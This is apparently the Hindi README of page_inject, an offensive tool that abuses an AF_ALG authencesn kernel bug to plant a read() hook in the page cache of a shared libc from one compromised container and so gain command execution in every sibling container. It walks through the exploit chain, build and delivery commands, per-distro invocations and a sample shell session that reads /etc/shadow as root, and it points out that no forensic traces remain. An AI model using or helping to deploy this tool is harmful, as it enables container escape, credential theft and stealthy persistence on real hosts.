page_inject - AF_ALG aead क्रॉस-कंटेनर एस्केप

AF_ALG aead भेद्यता क्रॉस-कंटेनर शोषण -- एक समझौता किए गए कंटेनर से उसी libc.so.6 इमेज लेयर को साझा करने वाले प्रत्येक सहोदर कंटेनर में घुसपैठ करना।

यह एक एस्केप प्रिमिटिव है: यह एक अविशेषाधिकार प्राप्त कंटेनर के अंदर से चलता है जिसे हमलावर पहले ही समझौता कर चुका है, और AF_ALG authencesn ESN-रोटेशन 4-बाइट आर्बिट्ररी-राइट बग (CVE-2026-31431) का उपयोग करके libc.so.6 के पेज-कैश पृष्ठों में एक स्थायी read() हुक लगाता है। क्योंकि Docker/containerd overlayfs की निचली परतों को साझा इनोड के साथ बैक करते हैं, वे पृष्ठ उसी इमेज से तत्कालित प्रत्येक सहोदर कंटेनर को दिखाई देते हैं -- हुक उनकी प्रक्रियाओं में भी सक्रिय हो जाता है, और हमलावर को प्रत्येक के अंदर कमांड निष्पादन मिल जाता है।

खतरा मॉडल

• हमलावर के पास एकल कंटेनर (इसे victim कहते हैं) तक शेल पहुंच है, जो उसी इमेज से victim के रूप में अन्य कंटेनर (siblings) चलाने वाले होस्ट पर होता है।
• victim डिफ़ॉल्ट Docker/k8s स्थिति के साथ चलता है: कंटेनर के उपयोगकर्ता नामस्थान के अंदर अविशेषाधिकार प्राप्त uid, डिफ़ॉल्ट seccomp प्रोफ़ाइल, डिफ़ॉल्ट AppArmor प्रोफ़ाइल, कोई विशेष क्षमता नहीं, कोई होस्ट बाइंड माउंट नहीं।
• victim के पास केवल:
  • अपने libc तक पढ़ने की पहुंच (/usr/lib/x86_64-linux-gnu/libc.so.6 या जहां भी डिस्ट्रो इसे स्थापित करता है)
  • मानक socket(AF_ALG, ...) सिस्कॉल परिवार
  • मानक splice / vmsplice सिस्कॉल
  • एक निर्देशिका तक लिखने की पहुंच जिसे वह chmod +x कर सकता है (जैसे /tmp)
• कर्नेल CVE-2026-31431 (अपस्ट्रीम रिवर्ट फिक्स से पहले कोई भी algif_aead + authencesn बिल्ड) के प्रति संवेदनशील होना चाहिए।

बस इतना ही। कोई विशेष CAP_* नहीं, कोई होस्ट फाइलसिस्टम पहुंच नहीं। हमलावर कंटेनर के अंदर एक स्व-निहित स्थैतिक रूप से लिंक किया गया बाइनरी ड्रॉप करता है, इसे चलाता है, और पेज-कैश भ्रष्टाचार -- और इसलिए हुक -- प्रत्येक सहोदर को दिखाई देने लगता है।

शोषण कैसे श्रृंखलाबद्ध होता है

1. पेज-कैश पृष्ठ पहचान। ओवरलेफ़्स कंटेनर के अंदर, /usr/lib/.../libc.so.6 निचली इमेज लेयर के ext4 इनोड द्वारा प्रदान किया जाता है। एक ही इमेज से शुरू किया गया प्रत्येक कंटेनर उस बैकिंग इनोड को साझा करता है, और कर्नेल का पेज कैच अंतर्निहित इनोड द्वारा कुंजीबद्ध होता है -- ओवरले या नामस्थान द्वारा नहीं। इसलिए पेज-कैश पृष्ठ में एकल 4-बाइट लेखन उन सभी सहोदर कंटेनरों की प्रक्रियाओं को दिखाई देता है जिनके पास वह पृष्ठ mmap'd है।

2. AF_ALG aead भेद्यता एक ऐसे लेखन को कई में बदल देती है। algif_aead उपयोगकर्ता RX iovec को spliced TX SGL के अनुगामी authsize बाइट्स के साथ जोड़ता है, और authencesn का ESN रोटेशन AAD के seq_high फ़ील्ड को dst[assoclen + cryptlen] पर रखता है -- जो उस जंजीरबद्ध विदेशी पूंछ का पहला बाइट है। Spliced पृष्ठ एक फ़ाइल का पेज-कैश पृष्ठ है जिस तक हमलावर के पास केवल पढ़ने की पहुंच है, लेकिन सिफर वैसे भी उसमें बाइट्स कॉपी करता है, बिना किसी गंदे बुककीपिंग के। (अंतर्निहित यांत्रिकी के लिए crypto/algif_aead.c और crypto/authencesn.c देखें।)

3. एक कॉल करने योग्य प्रिमिटिव को बूटस्ट्रैप करना। सबसे पहली चीज़ जो page_inject करता है वह Zone A को बूटस्ट्रैप करना है -- उसी AF_ALG डांस का एक asm-एन्कोडेड पुनर्कार्यान्वयन (write_cache.asm), जो libc के .text गुफा के अंदर रखा जाता है। यह 4-बाइट लेखन को किसी भी भविष्य के हुक पेलोड से एक नियमित call बनाता है, बिना प्रति-कॉल सॉकेट सेटअप की आवश्यकता के।

4. हुक स्थापित करना। इंजेक्टर तब Zone C (zone_c.asm) को libc के .text गुफा में लिखता है और read() के पहले 7-12 बाइट्स को एक E9 disp32 जंप से उसमें पैच करता है। प्रस्तावना के विस्थापित बाइट्स को Zone C के फास्ट-पथ में विश्वसनीय रूप से अनुकरण किया जाता है (तीन अलग-अलग glibc प्रस्तावनाएँ पहचानी जाती हैं -- नीचे "Prologue handling" देखें)। हुक अब libc के पेज कैच में जीवित है।

5. हुक प्रसार। प्रत्येक सहोदर कंटेनर उन प्रक्रियाओं को चलाता है जो लगातार read() कॉल करती हैं (लॉगिंग डेमॉन, हेल्थचेक, cat /etc/hostname, कुछ भी)। एक सहोदर कंटेनर के अंदर ऐसी पहली कॉल पर, अपहृत प्रस्तावना Zone C में कूद जाती है, जो:

   • stat("/") करता है कंटेनर के रूट इनोड (एक स्थिर प्रति-नामस्थान ID), इसका उपयोग कंटेनर के स्लॉट कुंजी के रूप में करता है,
   • स्लॉट तालिका को मौजूदा प्रविष्टि के लिए उस कुंजी के साथ स्कैन करता है,
   • यदि अनुपस्थित है, तो कुंजी पंजीकृत करता है और एक दीर्घकालिक कमांड-लूप चाइल्ड को fork() करता है जो आदेशों के लिए CMD क्षेत्र को पोल करता है,
   • read()+N पर लौटता है ताकि कॉल करने वाला अनजान रहे। मूल सहोदर प्रक्रिया चलती रहती है। अब से हमलावर के पास उस कंटेनर के अंदर एक डेमॉन है।

6. कमांड चैनल। हमलावर उसी page_inject बाइनरी का --shell मोड में उपयोग करता है ताकि स्लॉट क्षेत्र के CMD क्षेत्र में कमांड लिख सके। प्रत्येक पंजीकृत सहोदर कंटेनर का हुक चाइल्ड पोल करता है, /bin/sh -c <cmd> को fork करता है, stdout/stderr को OUTPUT क्षेत्र में कैप्चर करता है, पूर्णता को संकेत देता है, और पोलिंग पर वापस जाता है। शेल आउटपुट दिखाता है। क्योंकि प्रत्येक CMD/OUTPUT लेखन भी भेद्यता प्रिमिटिव से गुजरता है, किसी विशेष विशेषाधिकार की आवश्यकता नहीं है।

7. अनहुक। जब काम हो जाता है, unhook read() के मूल प्रस्तावना बाइट्स को पुनर्स्थापित करता है और स्लॉट तालिका को शून्य करता है; हुक चाइल्ड अपने अगले पुनरावृत्ति पर एक खाली स्लॉट देखते हैं और स्वयं समाप्त हो जाते हैं। पेज-कैश संशोधन स्वयं साफ हैं (कर्नेल ने कभी संशोधित पृष्ठों को गंदा नहीं चिह्नित किया), इसलिए एक बार libc को mmap'd करने वाला प्रत्येक कंटेनर रोक दिया जाता है, drop_caches कैश को पूरी तरह से वापस लेता है -- डिस्क पर कोई आर्टिफैक्ट नहीं रहता।

बिल्डिंग

इंजेक्टर को पीड़ित कंटेनर के बाहर बनाया जाता है -- आमतौर पर हमलावर की अपनी डेवलपमेंट मशीन पर -- क्योंकि अधिकांश प्रोडक्शन कंटेनर इमेज कंपाइलर नहीं भेजती हैं। एक मानक Linux x86_64 डेव वातावरण जिसमें gcc (-static लिंक सपोर्ट के साथ) और nasm हो, पर्याप्त है।

make            # .asm स्रोतों को gen_arrays.sh के माध्यम से असेंबल करता है, स्थैतिक page_inject लिंक करता है
make shellcode  # निरीक्षणीय .bin फ्लैट बाइनरी भी उत्पन्न करता है
make clean      # उत्पन्न फ़ाइलों और बाइनरी को हटाता है

आउटपुट एक एकल स्थैतिक रूप से लिंक किया गया ELF (./page_inject) है जो किसी भी आधुनिक x86_64 Linux कर्नेल पर चलता है।

डिलीवरी और उपयोग (पीड़ित कंटेनर से)

एक बार जब हमलावर के पास victim पर शेल है, तो वे बाइनरी को एक लिखने योग्य निर्देशिका (आमतौर पर /tmp) में अपलोड करते हैं:

# समझौता किए गए कंटेनर के अंदर, हमलावर सत्र
victim$ ./page_inject

बिना तर्कों के, page_inject डिफ़ॉल्ट रूप से /usr/lib/x86_64-linux-gnu/libc.so.6 (मर्ज के बाद Debian/Ubuntu स्थान) का उपयोग करता है। अन्य डिस्ट्रो के लिए libc एक अलग पथ पर है; या तो इसे स्पष्ट रूप से पास करें या कंटेनर के रूट से अंतर्निहित लुकअप तालिका को स्कैन करने के लिए --root / का उपयोग करें:

# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6

# Arch
victim$ ./page_inject /usr/lib/libc.so.6

# ऑटो-डिटेक्ट, डिस्ट्रो की परवाह किए बिना:
victim$ ./page_inject --root /

दोनों आह्वान एक ही काम करते हैं: कंटेनर के अंदर libc को ELF-पार्स करें, उसके पेज कैच में हुक स्थापित करें, सहोदर के पंजीकरण के दौरान ~30 सेकंड के लिए स्लॉट तालिका की निगरानी करें, और एक सैनिटी जांच के रूप में पंजीकृत होने वाले पहले सहोदर के खिलाफ एक एकल-शॉट id चलाएं।

बूटस्ट्रैप के बाद, किसी भी पंजीकृत सहोदर को चलाने के लिए कमांड शेल में प्रवेश करें:

victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
  [0] 0x0018598d  <- target
  [1] 0x001859ab
  [2] 0x001859cd

inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...

unhook एक ही शॉट में प्रत्येक सहोदर कंटेनर से हुक को साफ करता है और हुक चाइल्ड को स्वयं समाप्त करने देता है।

Usage: page_inject [OPTIONS] [LIBC_PATH]